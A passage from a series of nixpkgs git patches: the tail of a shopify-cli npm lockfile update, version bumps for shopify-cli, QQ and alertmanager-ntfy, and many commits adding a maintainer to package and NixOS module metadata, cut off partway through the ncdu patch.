+      "dependencies": {
+        "define-properties": "^1.2.1",
+        "gopd": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/gopd": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
+      "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/has-property-descriptors": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
+      "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
+      "license": "MIT",
+      "dependencies": {
+        "es-define-property": "^1.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/json-stringify-safe": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
+      "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==",
+      "license": "ISC"
+    },
+    "node_modules/matcher": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz",
+      "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==",
+      "license": "MIT",
+      "dependencies": {
+        "escape-string-regexp": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/object-keys": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
+      "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/roarr": {
+      "version": "2.15.4",
+      "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.4.tgz",
+      "integrity": "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==",
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "boolean": "^3.0.1",
+        "detect-node": "^2.0.4",
+        "globalthis": "^1.0.1",
+        "json-stringify-safe": "^5.0.1",
+        "semver-compare": "^1.0.0",
+        "sprintf-js": "^1.1.2"
+      },
+      "engines": {
+        "node": ">=8.0"
+      }
+    },
+    "node_modules/semver": {
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
+      "license": "ISC",
+      "bin": {
+        "semver": "bin/semver.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/semver-compare": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz",
+      "integrity": "sha512-YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow==",
+      "license": "MIT"
+    },
+    "node_modules/serialize-error": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz",
+      "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==",
+      "license": "MIT",
+      "dependencies": {
+        "type-fest": "^0.13.1"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/sprintf-js": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz",
+      "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==",
+      "license": "BSD-3-Clause"
+    },
+    "node_modules/type-fest": {
+      "version": "0.13.1",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz",
+      "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==",
+      "license": "(MIT OR CC0-1.0)",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     }
   }
diff --git a/pkgs/by-name/sh/shopify-cli/manifests/package.json b/pkgs/by-name/sh/shopify-cli/manifests/package.json
index d4515de77622..e85ffd4730e2 100644
--- a/pkgs/by-name/sh/shopify-cli/manifests/package.json
+++ b/pkgs/by-name/sh/shopify-cli/manifests/package.json
@@ -1,11 +1,11 @@
 {
   "name": "shopify",
-  "version": "3.69.3",
+  "version": "3.81.2",
   "private": true,
   "bin": {
     "shopify": "node_modules/@shopify/cli/bin/run.js"
   },
   "dependencies": {
-    "@shopify/cli": "3.69.3"
+    "@shopify/cli": "3.81.2"
   }
 }
diff --git a/pkgs/by-name/sh/shopify-cli/package.nix b/pkgs/by-name/sh/shopify-cli/package.nix
index c05287abcdda..f992b57b9c9a 100644
--- a/pkgs/by-name/sh/shopify-cli/package.nix
+++ b/pkgs/by-name/sh/shopify-cli/package.nix
@@ -5,7 +5,7 @@
   shopify-cli,
 }:
 let
-  version = "3.69.3";
+  version = "3.81.2";
 in
 buildNpmPackage {
   pname = "shopify";
@@ -13,7 +13,7 @@ buildNpmPackage {
 
   src = ./manifests;
 
-  npmDepsHash = "sha256-QhbOKOs/0GEOeySG4uROzgtD4o7C+6tS/TAaPcmC3xk=";
+  npmDepsHash = "sha256-64D+QM8fZmsknoHpj4S24fNsv8e2YcZfWCZhJRnwgUc=";
   dontNpmBuild = true;
 
   passthru = {

From 118034f7cfe95bc31db98962cfeb91515467876e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 28 Jun 2025 10:04:29 +0000
Subject: [PATCH 1708/4511] qq: 3.2.18-2025.6.16 -> 3.2.18-2025.6.26

(cherry picked from commit 4d7a6bce869aa7785432567461aa83008d9b66ad)
---
 pkgs/by-name/qq/qq/sources.nix | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/qq/qq/sources.nix b/pkgs/by-name/qq/qq/sources.nix
index 6b16cd97f70c..275ea446d939 100644
--- a/pkgs/by-name/qq/qq/sources.nix
+++ b/pkgs/by-name/qq/qq/sources.nix
@@ -1,12 +1,12 @@
 # Generated by ./update.sh - do not update manually!
-# Last updated: 2025-06-17
+# Last updated: 2025-06-28
 { fetchurl }:
 let
   any-darwin = {
-    version = "6.9.75-2025.6.16";
+    version = "6.9.75-2025.6.26";
     src = fetchurl {
-      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Mac/QQ_6.9.75_250616_01.dmg";
-      hash = "sha256-MS2WGrAuBGlbzzxfUlcixoD1snchEaLu4Ecvt84Hdfo=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Mac/QQ_6.9.75_250626_01.dmg";
+      hash = "sha256-tWT0R88tXz0ypPQTDzASrh4znvBvq/ohBhpeDv2PlVc=";
     };
   };
 in
@@ -14,17 +14,17 @@ in
   aarch64-darwin = any-darwin;
   x86_64-darwin = any-darwin;
   aarch64-linux = {
-    version = "3.2.18-2025.6.16";
+    version = "3.2.18-2025.6.26";
     src = fetchurl {
-      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250616_arm64_01.deb";
-      hash = "sha256-wwZC+hyyrmmjhlk4hdJTnf5WkRxjit6smUmD4jPKbM0=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250626_arm64_01.deb";
+      hash = "sha256-7teJWRvvz5baJsaHmOwnkLgBcBxWOUCGpV2+MHH7Tic=";
     };
   };
   x86_64-linux = {
-    version = "3.2.18-2025.6.16";
+    version = "3.2.18-2025.6.26";
     src = fetchurl {
-      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250616_amd64_01.deb";
-      hash = "sha256-7/c1PwlcWogXO229e7f1gYWktCT+hpyQI1+22TkvzLQ=";
+      url = "https://dldir1v6.qq.com/qqfile/qq/QQNT/Linux/QQ_3.2.18_250626_amd64_01.deb";
+      hash = "sha256-xEw6tE+qX90XQS3e2MTudeUJNfx25hwgq1YFROHqfng=";
     };
   };
 }

From b3dd010e164018ab115116253afd4922e47b3d9d Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 27 Jun 2025 18:00:03 +0000
Subject: [PATCH 1709/4511] alertmanager-ntfy: 0-unstable-2025-05-31 ->
 0-unstable-2025-06-27

Diff: https://github.com/alexbakker/alertmanager-ntfy/compare/76d5f772f70d6915c89da00414c20009b03cc361...dc4ef93f7db7f046a775ef3e4a2a462b2afcec6c
(cherry picked from commit f6583b8133eae0ab5d8b63dd705d1fc42ee7b116)
---
 pkgs/by-name/al/alertmanager-ntfy/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/al/alertmanager-ntfy/package.nix b/pkgs/by-name/al/alertmanager-ntfy/package.nix
index c3e2db5b5345..07d19fe9d2f6 100644
--- a/pkgs/by-name/al/alertmanager-ntfy/package.nix
+++ b/pkgs/by-name/al/alertmanager-ntfy/package.nix
@@ -8,13 +8,13 @@
 
 buildGoModule {
   pname = "alertmanager-ntfy";
-  version = "0-unstable-2025-05-31";
+  version = "0-unstable-2025-06-27";
 
   src = fetchFromGitHub {
     owner = "alexbakker";
     repo = "alertmanager-ntfy";
-    rev = "76d5f772f70d6915c89da00414c20009b03cc361";
-    hash = "sha256-newJ1fCMEE3gsZncWU899Q6cS6llPNwJlHT7HdLQZf8=";
+    rev = "dc4ef93f7db7f046a775ef3e4a2a462b2afcec6c";
+    hash = "sha256-J+T3Mt+40vhL3DVBKKH86l45AKSlkT7h+TrfhsWwMac=";
   };
 
   vendorHash = "sha256-e1JAoDNm2+xB/bZcEGr5l4+va8GIg1R8pdj3d+/Y+UY=";

From 530ef91d5537137aaec960c37878cabc6f01b530 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:21 +0800
Subject: [PATCH 1710/4511] nixos/yazi: add ryan4yin as a maintainer

(cherry picked from commit 77e9e764be9194c0c2081c4df204971cbb3d9f5d)
---
 nixos/modules/programs/yazi.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/programs/yazi.nix b/nixos/modules/programs/yazi.nix
index b7e56cf63077..73d70bdbee1a 100644
--- a/nixos/modules/programs/yazi.nix
+++ b/nixos/modules/programs/yazi.nix
@@ -118,6 +118,9 @@ in
   };
 
   meta = {
-    maintainers = with lib.maintainers; [ linsui ];
+    maintainers = with lib.maintainers; [
+      linsui
+      ryan4yin
+    ];
   };
 }

From 77875655094213bd633e06dc9af55ad53cfd9427 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:21 +0800
Subject: [PATCH 1711/4511] nixos/minio: add ryan4yin as a maintainer

(cherry picked from commit aa9343b00efa37cf84952531c18beefa0623bfba)
---
 nixos/modules/services/web-servers/minio.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/services/web-servers/minio.nix b/nixos/modules/services/web-servers/minio.nix
index a2e181882bc6..1f1a595f8700 100644
--- a/nixos/modules/services/web-servers/minio.nix
+++ b/nixos/modules/services/web-servers/minio.nix
@@ -18,7 +18,10 @@ let
     '';
 in
 {
-  meta.maintainers = [ maintainers.bachp ];
+  meta.maintainers = with maintainers; [
+    bachp
+    ryan4yin
+  ];
 
   options.services.minio = {
     enable = mkEnableOption "Minio Object Storage";

From 1859d9f295dc801933227634999ab30bfa18a2c4 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:21 +0800
Subject: [PATCH 1712/4511] nixos/tests/croc: add ryan4yin as a maintainer

(cherry picked from commit 7c18f6b91ad15accbf8748c0ce2ba54b1d1ee4e5)
---
 nixos/tests/croc.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/nixos/tests/croc.nix b/nixos/tests/croc.nix
index 4b6d3f4d85a7..daa8f1ed73db 100644
--- a/nixos/tests/croc.nix
+++ b/nixos/tests/croc.nix
@@ -14,6 +14,7 @@ import ./make-test-python.nix (
       maintainers = [
         equirosa
         SuperSandro2000
+        ryan4yin
       ];
     };
 

From ef2977785349e9c750436ae3bd5f0ae92760482c Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:22 +0800
Subject: [PATCH 1713/4511] nixos/tests/minio: add ryan4yin as a maintainer

(cherry picked from commit 2493f96246de31f0a62c76c02fd26e666148f8d0)
---
 nixos/tests/minio.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/nixos/tests/minio.nix b/nixos/tests/minio.nix
index d4d34ea660f0..230e8e3701be 100644
--- a/nixos/tests/minio.nix
+++ b/nixos/tests/minio.nix
@@ -49,7 +49,10 @@ import ./make-test-python.nix (
   {
     name = "minio";
     meta = with pkgs.lib.maintainers; {
-      maintainers = [ bachp ];
+      maintainers = [
+        bachp
+        ryan4yin
+      ];
     };
 
     nodes = {

From 3c55c2c6c69fd96cbd430c68b0f1b2fca01cec36 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:22 +0800
Subject: [PATCH 1714/4511] aliyun-cli: add ryan4yin as a maintainer

(cherry picked from commit 83755184e903f856c872072d600015a65e3235bf)
---
 pkgs/by-name/al/aliyun-cli/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/al/aliyun-cli/package.nix b/pkgs/by-name/al/aliyun-cli/package.nix
index df5f32e0ce4b..86d65849e85c 100644
--- a/pkgs/by-name/al/aliyun-cli/package.nix
+++ b/pkgs/by-name/al/aliyun-cli/package.nix
@@ -41,7 +41,10 @@ buildGoModule rec {
     homepage = "https://github.com/aliyun/aliyun-cli";
     changelog = "https://github.com/aliyun/aliyun-cli/releases/tag/v${version}";
     license = lib.licenses.asl20;
-    maintainers = with lib.maintainers; [ ornxka ];
+    maintainers = with lib.maintainers; [
+      ornxka
+      ryan4yin
+    ];
     mainProgram = "aliyun";
   };
 }

From 5a268a9fe238a848a42987e41a0f473105823552 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:22 +0800
Subject: [PATCH 1715/4511] aws-iam-authenticator: add ryan4yin as a maintainer

(cherry picked from commit 67f5e6dff28faf58fb5941d0672b638825b861dc)
---
 pkgs/by-name/aw/aws-iam-authenticator/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/aw/aws-iam-authenticator/package.nix b/pkgs/by-name/aw/aws-iam-authenticator/package.nix
index 40957f4d229c..2aeec04c380e 100644
--- a/pkgs/by-name/aw/aws-iam-authenticator/package.nix
+++ b/pkgs/by-name/aw/aws-iam-authenticator/package.nix
@@ -37,6 +37,9 @@ buildGoModule rec {
     mainProgram = "aws-iam-authenticator";
     changelog = "https://github.com/kubernetes-sigs/aws-iam-authenticator/releases/tag/v${version}";
     license = licenses.asl20;
-    maintainers = with maintainers; [ srhb ];
+    maintainers = with maintainers; [
+      srhb
+      ryan4yin
+    ];
   };
 }

From 774907335c7b105a0ea0baf0eb2816c55cc1b7b7 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:23 +0800
Subject: [PATCH 1716/4511] btop: add ryan4yin as a maintainer

(cherry picked from commit a7f28e6f2f4ae8a8b588e8f056f54a1d61730780)
---
 pkgs/by-name/bt/btop/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/bt/btop/package.nix b/pkgs/by-name/bt/btop/package.nix
index 9926e922a985..49114478a2d2 100644
--- a/pkgs/by-name/bt/btop/package.nix
+++ b/pkgs/by-name/bt/btop/package.nix
@@ -60,6 +60,7 @@ stdenv.mkDerivation rec {
     maintainers = with maintainers; [
       khaneliman
       rmcgibbo
+      ryan4yin
     ];
     mainProgram = "btop";
   };

From c083fa46a55b49a1d82374472ae40f45c7cdd165 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:23 +0800
Subject: [PATCH 1717/4511] caddy: add ryan4yin as a maintainer

(cherry picked from commit ec9f940c86dc8b47c3cf2a28d073431e3894b1a5)
---
 pkgs/by-name/ca/caddy/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ca/caddy/package.nix b/pkgs/by-name/ca/caddy/package.nix
index bc219a3cfbf5..2786618a4cc2 100644
--- a/pkgs/by-name/ca/caddy/package.nix
+++ b/pkgs/by-name/ca/caddy/package.nix
@@ -91,6 +91,7 @@ buildGoModule {
       Br1ght0ne
       stepbrobd
       techknowlogick
+      ryan4yin
     ];
   };
 }

From 9c0dc8900379dc7df8c9fb24fa85da45fc3a7742 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:23 +0800
Subject: [PATCH 1718/4511] cilium-cli: add ryan4yin as a maintainer

(cherry picked from commit 71452432b3c9d18feff2c1beec32e68536387cc4)
---
 pkgs/by-name/ci/cilium-cli/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ci/cilium-cli/package.nix b/pkgs/by-name/ci/cilium-cli/package.nix
index c2630a055d44..fcdf5faef795 100644
--- a/pkgs/by-name/ci/cilium-cli/package.nix
+++ b/pkgs/by-name/ci/cilium-cli/package.nix
@@ -56,6 +56,7 @@ buildGoModule rec {
       bryanasdev000
       humancalico
       qjoly
+      ryan4yin
     ];
     mainProgram = "cilium";
   };

From 59c8f8a44328e8ffbb0f8bb1d85c93f955de80d1 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:24 +0800
Subject: [PATCH 1719/4511] croc: add ryan4yin as a maintainer

(cherry picked from commit c53977c97fd8b57a8a71e11c5a9902014e34e4fe)
---
 pkgs/by-name/cr/croc/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/cr/croc/package.nix b/pkgs/by-name/cr/croc/package.nix
index 8493b0ed7279..ef8df9622a13 100644
--- a/pkgs/by-name/cr/croc/package.nix
+++ b/pkgs/by-name/cr/croc/package.nix
@@ -47,6 +47,7 @@ buildGoModule rec {
     maintainers = with maintainers; [
       equirosa
       SuperSandro2000
+      ryan4yin
     ];
     mainProgram = "croc";
   };

From 58e5ffb7ba3d855d85de9bf96a520aeb701ca908 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:24 +0800
Subject: [PATCH 1720/4511] dive: add ryan4yin as a maintainer

(cherry picked from commit df6fa0fb69b2ec5795a12a8d8b69e8c8146a02f4)
---
 pkgs/by-name/di/dive/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/di/dive/package.nix b/pkgs/by-name/di/dive/package.nix
index 1feb042f3e59..ccb78dcc716a 100644
--- a/pkgs/by-name/di/dive/package.nix
+++ b/pkgs/by-name/di/dive/package.nix
@@ -41,6 +41,9 @@ buildGoModule rec {
     homepage = "https://github.com/wagoodman/dive";
     changelog = "https://github.com/wagoodman/dive/releases/tag/v${version}";
     license = licenses.mit;
-    maintainers = with maintainers; [ SuperSandro2000 ];
+    maintainers = with maintainers; [
+      SuperSandro2000
+      ryan4yin
+    ];
   };
 }

From 804b2e64ebe4492173624dbd3a752ade1d26b7c1 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:24 +0800
Subject: [PATCH 1721/4511] eksctl: add ryan4yin as a maintainer

(cherry picked from commit 2db333d9e0cebe7fd7c811fa0d6941f61b6b3725)
---
 pkgs/by-name/ek/eksctl/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ek/eksctl/package.nix b/pkgs/by-name/ek/eksctl/package.nix
index 79d4e5585fd9..9748cf5f5952 100644
--- a/pkgs/by-name/ek/eksctl/package.nix
+++ b/pkgs/by-name/ek/eksctl/package.nix
@@ -51,6 +51,7 @@ buildGoModule rec {
     maintainers = with maintainers; [
       xrelkd
       Chili-Man
+      ryan4yin
     ];
     mainProgram = "eksctl";
   };

From 08c8c592b6756bc374a40ea643e35af7b27211ea Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:24 +0800
Subject: [PATCH 1722/4511] fluxcd: add ryan4yin as a maintainer

(cherry picked from commit d716b30066423f3804921688c03efe0269335e3a)
---
 pkgs/by-name/fl/fluxcd/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/fl/fluxcd/package.nix b/pkgs/by-name/fl/fluxcd/package.nix
index ee82e71dbcf9..93df35502525 100644
--- a/pkgs/by-name/fl/fluxcd/package.nix
+++ b/pkgs/by-name/fl/fluxcd/package.nix
@@ -80,6 +80,7 @@ buildGoModule rec {
     maintainers = with lib.maintainers; [
       bryanasdev000
       jlesquembre
+      ryan4yin
     ];
     mainProgram = "flux";
   };

From a1796ad75c970cac66498d38e94d7552cae552ab Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:25 +0800
Subject: [PATCH 1723/4511] go-containerregistry: add ryan4yin as a maintainer

(cherry picked from commit 829476d7f4713a6ca89d96ae9a5c2f1e37efc9a4)
---
 pkgs/by-name/go/go-containerregistry/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/go/go-containerregistry/package.nix b/pkgs/by-name/go/go-containerregistry/package.nix
index bd307c577a14..ce03fe8da4fc 100644
--- a/pkgs/by-name/go/go-containerregistry/package.nix
+++ b/pkgs/by-name/go/go-containerregistry/package.nix
@@ -68,6 +68,9 @@ buildGoModule rec {
     description = "Tools for interacting with remote images and registries including crane and gcrane";
     homepage = "https://github.com/google/go-containerregistry";
     license = licenses.asl20;
-    maintainers = with maintainers; [ yurrriq ];
+    maintainers = with maintainers; [
+      yurrriq
+      ryan4yin
+    ];
   };
 }

From 9db6ff2d1790edab4c289b7624c41da184556fde Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:25 +0800
Subject: [PATCH 1724/4511] grafana-loki: add ryan4yin as a maintainer

(cherry picked from commit 87d4264730f6a2995e5054b3542ef24ad2b7133a)
---
 pkgs/by-name/gr/grafana-loki/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/gr/grafana-loki/package.nix b/pkgs/by-name/gr/grafana-loki/package.nix
index 7e8bab88695d..097cb9a46098 100644
--- a/pkgs/by-name/gr/grafana-loki/package.nix
+++ b/pkgs/by-name/gr/grafana-loki/package.nix
@@ -83,6 +83,7 @@ buildGoModule rec {
       globin
       mmahut
       emilylange
+      ryan4yin
     ];
   };
 }

From 7b267291f9cbc436b17c43565407eef9412a5c20 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:25 +0800
Subject: [PATCH 1725/4511] hyprshot: add ryan4yin as a maintainer

(cherry picked from commit 83eac324de643a21b51e82c424e8d3037de28dad)
---
 pkgs/by-name/hy/hyprshot/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/hy/hyprshot/package.nix b/pkgs/by-name/hy/hyprshot/package.nix
index 98666e17b84e..39a222d51ae6 100644
--- a/pkgs/by-name/hy/hyprshot/package.nix
+++ b/pkgs/by-name/hy/hyprshot/package.nix
@@ -52,7 +52,10 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     homepage = "https://github.com/Gustash/hyprshot";
     description = "Hyprshot is an utility to easily take screenshots in Hyprland using your mouse";
     license = licenses.gpl3Only;
-    maintainers = with maintainers; [ Cryolitia ];
+    maintainers = with maintainers; [
+      Cryolitia
+      ryan4yin
+    ];
     mainProgram = "hyprshot";
     platforms = hyprland.meta.platforms;
   };

From c7a505518c40d5fb58de48f85bc65b20b843bd76 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:26 +0800
Subject: [PATCH 1726/4511] istioctl: add ryan4yin as a maintainer

(cherry picked from commit b09623c62106530a06752445980bd52b1e734950)
---
 pkgs/by-name/is/istioctl/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/is/istioctl/package.nix b/pkgs/by-name/is/istioctl/package.nix
index 39e1fb0cab2d..e01da3a9b4e5 100644
--- a/pkgs/by-name/is/istioctl/package.nix
+++ b/pkgs/by-name/is/istioctl/package.nix
@@ -57,6 +57,7 @@ buildGoModule rec {
     maintainers = with maintainers; [
       bryanasdev000
       veehaitch
+      ryan4yin
     ];
   };
 }

From ef0619e13288d9be747e6e0874f6c5667b956575 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:26 +0800
Subject: [PATCH 1727/4511] just: add ryan4yin as a maintainer

(cherry picked from commit d216d23c9609166ab19438de1a54b7cfe70cd4ba)
---
 pkgs/by-name/ju/just/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ju/just/package.nix b/pkgs/by-name/ju/just/package.nix
index a75945415d7a..5dc6b20ede02 100644
--- a/pkgs/by-name/ju/just/package.nix
+++ b/pkgs/by-name/ju/just/package.nix
@@ -116,6 +116,7 @@ rustPlatform.buildRustPackage rec {
     maintainers = with maintainers; [
       xrelkd
       jk
+      ryan4yin
     ];
     mainProgram = "just";
   };

From 255be2495d9f67ad088074002a51f68ded297be0 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:26 +0800
Subject: [PATCH 1728/4511] k9s: add ryan4yin as a maintainer

(cherry picked from commit c4d6639a63247ee6b06b9b68a4233c8160e3fc4a)
---
 pkgs/by-name/k9/k9s/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/k9/k9s/package.nix b/pkgs/by-name/k9/k9s/package.nix
index 1cb90107f913..1b31d7ce590d 100644
--- a/pkgs/by-name/k9/k9s/package.nix
+++ b/pkgs/by-name/k9/k9s/package.nix
@@ -75,6 +75,7 @@ buildGoModule rec {
       markus1189
       bryanasdev000
       qjoly
+      ryan4yin
     ];
   };
 }

From dff907dd7ee362658362baee2bb9fd53b7dd4e89 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:26 +0800
Subject: [PATCH 1729/4511] minio-client: add ryan4yin as a maintainer

(cherry picked from commit 4242df02ed9f238e9e4ea611f2b3637a85a1f50d)
---
 pkgs/by-name/mi/minio-client/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/mi/minio-client/package.nix b/pkgs/by-name/mi/minio-client/package.nix
index a5d1f8d023b8..9fe17eb65ea8 100644
--- a/pkgs/by-name/mi/minio-client/package.nix
+++ b/pkgs/by-name/mi/minio-client/package.nix
@@ -36,7 +36,10 @@ buildGoModule rec {
   meta = with lib; {
     homepage = "https://github.com/minio/mc";
     description = "Replacement for ls, cp, mkdir, diff and rsync commands for filesystems and object storage";
-    maintainers = with maintainers; [ bachp ];
+    maintainers = with maintainers; [
+      bachp
+      ryan4yin
+    ];
     mainProgram = "mc";
     license = licenses.asl20;
   };

From acea1c41d86522fe5dae5e6858c0354cffedf3e0 Mon Sep 17 00:00:00 2001
From: Ryan Yin <xiaoyin_c@qq.com>
Date: Sun, 22 Jun 2025 14:25:27 +0800
Subject: [PATCH 1730/4511] ncdu: add ryan4yin as a maintainer

(cherry picked from commit 516091143570af4c8c87b768dafd627aef1ffc75)
---
 pkgs/by-name/nc/ncdu/package.nix | 1 +
